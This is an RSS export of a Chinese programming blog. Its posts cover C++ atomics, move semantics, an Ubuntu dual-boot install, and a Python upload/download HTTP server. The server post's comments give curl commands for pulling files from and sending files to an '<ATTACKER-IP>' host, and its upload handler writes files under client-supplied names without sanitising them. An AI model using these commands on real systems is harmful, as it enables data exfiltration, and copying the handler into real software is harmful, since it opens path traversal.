﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-so true</title><link>http://www.blogjava.net/bacoo/</link><description>心怀未来，开创未来！</description><language>zh-cn</language><lastBuildDate>Tue, 28 Apr 2026 21:16:23 GMT</lastBuildDate><pubDate>Tue, 28 Apr 2026 21:16:23 GMT</pubDate><ttl>60</ttl><item><title>http_server supports download/upload</title><link>http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sat, 20 Nov 2021 13:03:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/436058.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/436058.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/436058.html</trackback:ping><description><![CDATA[<div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008000; ">#</span><span style="color: #008000; ">!/usr/env&nbsp;python3</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">import</span>&nbsp;http.server<br /><span style="color: #0000FF; ">import</span>&nbsp;socketserver<br /><span style="color: #0000FF; ">import</span>&nbsp;io<br /><span style="color: #0000FF; ">import</span>&nbsp;cgi<br /><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;&nbsp;Download&nbsp;a&nbsp;file&nbsp;from&nbsp;your&nbsp;attack&nbsp;device:</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">curl&nbsp;-O&nbsp;http://&lt;ATTACKER-IP&gt;:8000/&lt;FILENAME&gt;</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;&nbsp;Upload&nbsp;a&nbsp;file&nbsp;back&nbsp;to&nbsp;your&nbsp;attack&nbsp;device:</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">curl&nbsp;-F&nbsp;'file=@&lt;FILENAME&gt;'&nbsp;http://&lt;ATTACKER-IP&gt;:8000/</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;&nbsp;Multiple&nbsp;file&nbsp;upload&nbsp;supported,&nbsp;just&nbsp;add&nbsp;more&nbsp;-F&nbsp;'file=@&lt;FILENAME&gt;'</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">&nbsp;&nbsp;parameters&nbsp;to&nbsp;the&nbsp;command&nbsp;line.</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">curl&nbsp;-F&nbsp;'file=@&lt;FILE1&gt;'&nbsp;-F&nbsp;'file=@&lt;FILE2&gt;'&nbsp;http://&lt;ATTACKER-IP&gt;:8000/</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;Change&nbsp;this&nbsp;to&nbsp;serve&nbsp;on&nbsp;a&nbsp;different&nbsp;port</span><span style="color: #008000; "><br /></span>PORT&nbsp;=&nbsp;8000<br /><br /><span style="color: #0000FF; ">class</span>&nbsp;CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">def</span>&nbsp;do_POST(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r,&nbsp;info&nbsp;=&nbsp;self.deal_post_data()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">print</span>(r,&nbsp;info,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">by:&nbsp;</span><span style="color: #800000; ">"</span>,&nbsp;self.client_address)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f&nbsp;=&nbsp;io.BytesIO()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;r:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.write(b<span style="color: #800000; ">"</span><span style="color: #800000; ">Success\n</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">else</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.write(b<span style="color: #800000; ">"</span><span style="color: #800000; ">Failed\n</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;=&nbsp;f.tell()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.seek(0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.send_response(200)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.send_header(<span style="color: #800000; ">"</span><span style="color: #800000; ">Content-type</span><span style="color: #800000; ">"</span>,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">text/plain</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.send_header(<span style="color: #800000; ">"</span><span style="color: #800000; ">Content-Length</span><span style="color: #800000; ">"</span>,&nbsp;str(length))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.end_headers()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;f:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.copyfile(f,&nbsp;self.wfile)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.close()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">def</span>&nbsp;deal_post_data(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ctype,&nbsp;pdict&nbsp;=&nbsp;cgi.parse_header(self.headers[<span style="color: #800000; ">'</span><span style="color: #800000; ">Content-Type</span><span style="color: #800000; ">'</span>])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pdict[<span style="color: #800000; ">'</span><span style="color: #800000; ">boundary</span><span style="color: #800000; ">'</span>]&nbsp;=&nbsp;bytes(pdict[<span style="color: #800000; ">'</span><span style="color: #800000; ">boundary</span><span style="color: #800000; ">'</span>],&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">utf-8</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pdict[<span style="color: #800000; ">'</span><span style="color: #800000; ">CONTENT-LENGTH</span><span style="color: #800000; ">'</span>]&nbsp;=&nbsp;int(self.headers[<span style="color: #800000; ">'</span><span style="color: #800000; ">Content-Length</span><span style="color: #800000; ">'</span>])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;ctype&nbsp;==&nbsp;<span style="color: #800000; ">'</span><span style="color: #800000; ">multipart/form-data</span><span style="color: #800000; ">'</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form&nbsp;=&nbsp;cgi.FieldStorage(&nbsp;fp=self.rfile,&nbsp;headers=self.headers,&nbsp;environ={<span style="color: #800000; ">'</span><span style="color: #800000; ">REQUEST_METHOD</span><span style="color: #800000; ">'</span>:<span style="color: #800000; ">'</span><span style="color: #800000; ">POST</span><span style="color: #800000; ">'</span>,&nbsp;<span style="color: #800000; ">'</span><span style="color: #800000; ">CONTENT_TYPE</span><span style="color: #800000; ">'</span>:self.headers[<span style="color: #800000; ">'</span><span style="color: #800000; ">Content-Type</span><span style="color: #800000; ">'</span>],&nbsp;})<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">print</span>&nbsp;(type(form))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">try</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;isinstance(form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>],&nbsp;list):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;record&nbsp;<span style="color: #0000FF; ">in</span>&nbsp;form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>]:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open(<span style="color: #800000; ">"</span><span style="color: #800000; ">./%s</span><span style="color: #800000; ">"</span>%record.filename,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">wb</span><span style="color: #800000; ">"</span>).write(record.file.read())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">else</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open(<span style="color: #800000; ">"</span><span style="color: #800000; ">./%s</span><span style="color: #800000; ">"</span>%form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>].filename,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">wb</span><span style="color: #800000; ">"</span>).write(form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>].file.read())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">except</span>&nbsp;IOError:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;(False,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">Can't&nbsp;create&nbsp;file&nbsp;to&nbsp;write,&nbsp;do&nbsp;you&nbsp;have&nbsp;permission&nbsp;to&nbsp;write?</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;(True,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">Files&nbsp;uploaded</span><span style="color: #800000; ">"</span>)<br /><br />Handler&nbsp;=&nbsp;CustomHTTPRequestHandler<br /><span style="color: #0000FF; ">try</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;server&nbsp;=&nbsp;socketserver.TCPServer((<span style="color: #800000; ">""</span>,&nbsp;PORT),&nbsp;Handler)<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;Activate&nbsp;the&nbsp;server;&nbsp;this&nbsp;will&nbsp;keep&nbsp;running&nbsp;until&nbsp;you</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;interrupt&nbsp;the&nbsp;program&nbsp;with&nbsp;Ctrl-C</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;server.serve_forever()<br /><span style="color: #0000FF; ">except</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">pass</span><br /><span style="color: #0000FF; ">finally</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;server.close()</div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/436058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2021-11-20 21:03 <a href="http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c++原子操作</title><link>http://www.blogjava.net/bacoo/archive/2020/06/28/435574.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sun, 28 Jun 2020 09:19:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2020/06/28/435574.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/435574.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2020/06/28/435574.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/435574.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/435574.html</trackback:ping><description><![CDATA[<div>1. __sync_bool_compare_and_swap系列是gcc最早内置的；</div><div>2. __atomic_compare_exchange_n系列是新版gcc内置的，支持6种memory order；</div><div>3. std::atomic之类的是stl的封装；</div><div>4. 6种mem order，https://www.zhihu.com/question/24301047里讲得不错，概括下：</div><div>memory_order_seq_cst最严，memory_order_relaxed最松，通常是用acquire（load时）/release（store时）模式，在该大模式下：</div><div>a. 通常是读用memory_order_acquire，写用memory_order_release；</div><div>b. 如果只是针对单个变量且该变量没有依赖的变量，acquire可以弱化为consume；</div><div>c. 如果不想区分什么单变量多变量或读写状态，简单点统一用memory_order_acq_rel。</div><img src ="http://www.blogjava.net/bacoo/aggbug/435574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2020-06-28 17:19 <a href="http://www.blogjava.net/bacoo/archive/2020/06/28/435574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Dell G3 Win10 SDD+HDD硬盘EFI引导不用U盘安装Ubuntu</title><link>http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 19 Aug 2019 02:26:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/434461.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/434461.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/434461.html</trackback:ping><description><![CDATA[<div></div><div>1. Win10关闭快速启动；</div><div>2. Win10关闭BitLocker；</div><div>3. Win10下压缩磁盘，留出一块未分配的区域X用于安装ubuntu，再搞出一个3GB的FAT32分区，把下载好的iso镜像释放到里面；</div><div>4. BIOS关闭Secure Boot；</div><div>5. BIOS关闭SATA的RAID，设置为AHCI；</div><div>6. 启动时F12，选择那个3GB的FAT32启动（默认会自动探测到，否则在BOOT SEQUENCE里手动增加一下）；</div><div>7. 选择try Ubuntu进去进行安装；</div><div>8. 安装前先sudo umount -l /dev/xxx, xxx是光盘镜像文件所在的盘，以避免安装过程卡在detecting file systems阶段不动；</div><div>9. 安装类型选择其他选项；</div><div>10. 在预留空间X上分50GB给/，分X-80给/home，分30给swap；</div><div>11. 安装启动引导器的设备，选择Windows Boot Manager所在的分区（分区类型是EFI）；</div><div>12. 如果出现"The 'grub-efi-amd64-signed' package failed to install into /target/."之类的错误，是因为缺包，重新安装，勾选开启网络并允许下载包的选项进行安装即可；<br /><br />参考文章：<br /><div>https://blog.csdn.net/github_37603222/article/details/70833565</div></div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/434461.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2019-08-19 10:26 <a href="http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c++14 transducer</title><link>http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 09 May 2019 10:53:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433762.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433762.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433762.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->&nbsp; 1&nbsp;/*&nbsp;&nbsp;2&nbsp;&nbsp;*&nbsp;transducer.cpp&nbsp;&nbsp;3&nbsp;&nbsp;*&nbsp;&nbsp;4&...&nbsp;&nbsp;<a href='http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html'>阅读全文</a><img src ="http://www.blogjava.net/bacoo/aggbug/433762.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2019-05-09 18:53 <a href="http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>深度剖析右值、右值引用、完美转发等相关概念</title><link>http://www.blogjava.net/bacoo/archive/2018/12/06/433537.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 06 Dec 2018 03:38:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2018/12/06/433537.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433537.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2018/12/06/433537.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433537.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433537.html</trackback:ping><description><![CDATA[<div>右值、右值引用（T&amp;&amp;）、std::move、完美转发（std::forward）、通用引用（universal reference）、引用折叠（reference collapsing）这些概念貌似很玄，但其实很它们想做的事情很简单而且很单一，抓住本质就豁然开朗了。</div><div>上面这些概念的引入完全是为了解决一个问题：尽可能用浅拷贝代替深拷贝；具体该如何实施呢：</div><div>1. 定义move constructor或move operator=，如果你新定义的类没有move constructor或move operator=，那根本就用不上上面那些高级的概念；</div><div>2. 告诉编译器什么时候用move constructor（而不是用copy constructor），这就需要借助std::move来把左值转成右值；</div><div></div><div>下面是一些零散的箴言：</div><div>左值：能用&amp;来取地址的东西（有名字的都是左值，不管其是否是const的，而且引用都是左值，因为引用肯定得起个名字去引用另外一个东西）；</div><div>右值：不能用&amp;来取地址的东西（说白了就是没名字的东西，例如函数的返回值）；</div><div></div><div>const T&amp;是万能引用，即 const T&amp; t = XXX; //XXX是左值、右值都可以；</div><div>T&amp; t = XXX; //XXX必须是左值；</div><div>T&amp;&amp; t = XXX; //XXX必须是右值；<br />const T&amp;&amp; t = XXX; //XXX必须是右值；</div><div></div><div>不要把T&amp;&amp;和const T&amp;划等号，两个都能hold住临时变量，给临时变量续命，但：</div><div>T&amp;&amp; t1 = get_val();</div><div>const T&amp; t2 = get_val();</div><div>t1和t2都是左值，因为都可以用&amp;来取地址，但t1是非const的，因此可以t1.xxx = yyy;去修改t1里的内容（当然如果你定义const T&amp;&amp; t1 = get_val()，那就不能更改了），这样一来，下面这种代码受益了：</div><div>&nbsp; &nbsp; string name = get_name(); //因为后面要修改name，所以不能用const string&amp; name</div><div>&nbsp; &nbsp; trim(name);</div><div>&nbsp; &nbsp; 可以修改为：</div><div>&nbsp; &nbsp; string&amp;&amp; name = get_name();</div><div>&nbsp; &nbsp; trim(name);</div><div>&nbsp; &nbsp;&nbsp;</div><div>关于右值引用的生命周期（续命能续多久，下面讨论的也适用于const T&amp;）：</div><div>1. 函数不能返回对局部变量的引用（右值引用也不行），这是铁的原则；</div><div>2. 引用一旦建立（用一个名字hold住了临时变量），例如T&amp;&amp; t = get_val();那么这个临时变量的析构时机就是变量t退出其作用域的时候，因此下面的代码是错误的：</div><div>&nbsp; &nbsp; struct A {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; A(T&amp;&amp; t): _t(t) {};</div><div>&nbsp; &nbsp; &nbsp; &nbsp; T&amp;&amp; _t;</div><div>&nbsp; &nbsp; };</div><div>&nbsp; &nbsp; A* pa = NULL;</div><div>&nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; T&amp;&amp; t = get_val();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pa = new A(t);</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; pa-&gt;_t; //runtime crash, _t已经析构了</div><div>&nbsp; &nbsp;&nbsp;</div><div>std::move只做一件事：把左值转成右值，因此T t(std::move(get_val()));不管什么情况下都能保证调用move constructor来构造t；</div><div>c++0x里stl的各种容器都已经新增了move constructor，因此当你希望使用浅拷贝的时候可以借助std::move来达成所愿了，至于什么时候可以用浅拷贝，分两种情况，有些情况编译器会默认帮你去调用move constructor，但在你自己新定义的函数或者类成员方法里就需要你自己来判断了，大的原则就是：这个变量只是传递过去就好，中间可以转好几道手，但在传递过程中不需要做修改；</div><div></div><div>完美转发（std::forward），谈到这个就必须得谈到通用引用（universal reference）、引用折叠（reference collapsing），其实这几个概念是捆绑在一起的，而且只用在模板范畴内，而且只是为了解决下面这一种模式：</div><div>template &lt;typename T&gt;</div><div>void func2(T t) {</div><div>}</div><div></div><div>template &lt;typename T&gt;</div><div>void func(T&amp;&amp; t) {</div><div>&nbsp; &nbsp; func2(std::forward&lt;T&gt;(t));</div><div>}</div><div>上面这个到底完美在哪里？</div><div>func(get_val()); //这个会导致最后是通过move constructor来构造func2函数里的参数t</div><div>T t0 = get_val();</div><div>T&amp; t1 = t0;</div><div>const T&amp; t2 = get_val();</div><div>T&amp;&amp; t3 = get_val();</div><div>const T&amp;&amp; t4 = get_val();</div><div>func(t0); func(t1); func(t2); func(t3); func(t4); //这5个都会导致最后是通过copy constructor来构造func2函数里的参数t，因为这个5个t*都是左值（有名字的就是左值）；</div><div></div><div>&nbsp; &nbsp; 插播两个你有可能费解的地方：</div><div>&nbsp; &nbsp; 1. func函数的参数是T&amp;&amp;, t0、t1都是左值，不是说不能用左值赋值给右值吗？这就要提到引用折叠了（详情可参见最后我推荐的文章），说白了因为func是个模板函数才能这么干；</div><div>&nbsp; &nbsp; 2. t3类型是T&amp;&amp;，func的参数也是T&amp;&amp;，把t3传递过去，居然还是调用copy contructor，因为t3是右值引用，它引用了一个右值，但它本身却是左值，到了func函数内部，func函数只能知道它是个左值，了解不到它原本的面貌居然是个右值引用；如果还不理解，再看下下面：</div><div>&nbsp; &nbsp; template &lt;typename T&gt;</div><div>&nbsp; &nbsp; void print(T t) {</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; int x1 = 1; int&amp; x2 = x1; const int&amp; x3 = x1; int* x4 = &amp;x1;</div><div>&nbsp; &nbsp; 分别用x{1..4}来调用print方法，你肯定知道x1、x2、x3到了print函数里，T就是int，只有x4会被print函数认为T是int*，引用这个概念在模板类型推导时是无法让模板参数感知到的；此外print(T)和print(T&amp;)是不能同定义的，编译器会抱怨ambiguous，这个事实也能帮你多一些理解。</div><div></div><div>如果想让上面的这5个最终能通过move constructor来构造func2函数里的参数t，那么只要给每个都用func(std::move(t*))包装下就可以了；</div><div>再澄清下，func2函数的参数是类型T，并不是引用，因此无论如何都需要生成T的一个新实例，区别就是到底是通过copy constructor还是move constructor来生成了；</div><div>所以，所谓的完美就是体现在了forward能把本来是左值的按左值来传递，本来是右值的按照右值来传递，具体来说就是作为中间环节的func函数内部实现过程中使用了func2(std::forward&lt;T&gt;(t));这句话，使得可以按照调用方实际的真实情况告知给func2函数如何构造参数t，这有什么好处呢，还是那句话：在适当的时机做合适的引导，让编译器帮你调用浅拷贝。</div><div></div><div>除此之外，你完全可以忘掉这些玄乎其神的概念，所以只要会套用就可以了。</div><div></div><div>以上是一些梗概性或结论性的东西，再结合下面这篇文章，把骨头之外的血肉补上吧：</div><div>https://codinfox.github.io/dev/2014/06/03/move-semantic-perfect-forward/</div><img src ="http://www.blogjava.net/bacoo/aggbug/433537.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2018-12-06 11:38 <a href="http://www.blogjava.net/bacoo/archive/2018/12/06/433537.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>type_to_pointer</title><link>http://www.blogjava.net/bacoo/archive/2018/11/08/433477.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 08 Nov 2018 11:03:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2018/11/08/433477.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433477.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2018/11/08/433477.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433477.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433477.html</trackback:ping><description><![CDATA[<div><div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%; word-break: break-all;"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080; ">&nbsp; 1</span>&nbsp;#include&nbsp;&lt;iostream&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;2</span>&nbsp;#include&nbsp;&lt;typeinfo&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;3</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;4</span>&nbsp;#include&nbsp;&lt;fstream&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;5</span>&nbsp;#include&nbsp;&lt;sstream&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;6</span>&nbsp;#include&nbsp;&lt;stdint.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;7</span>&nbsp;#include&nbsp;&lt;pthread.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;8</span>&nbsp;#include&nbsp;&lt;unistd.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;9</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>.h&gt;<br /><span style="color: #008080; ">&nbsp;10</span>&nbsp;#include&nbsp;&lt;vector&gt;<br /><span style="color: #008080; ">&nbsp;11</span>&nbsp;#include&nbsp;&lt;map&gt;<br /><span style="color: #008080; ">&nbsp;12</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">set</span>&gt;<br /><span style="color: #008080; ">&nbsp;13</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;14</span>&nbsp;<span style="color: #0000FF; ">using</span>&nbsp;<span style="color: #0000FF; ">namespace</span>&nbsp;std;<br /><span style="color: #008080; ">&nbsp;15</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;16</span>&nbsp;template&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;17</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; 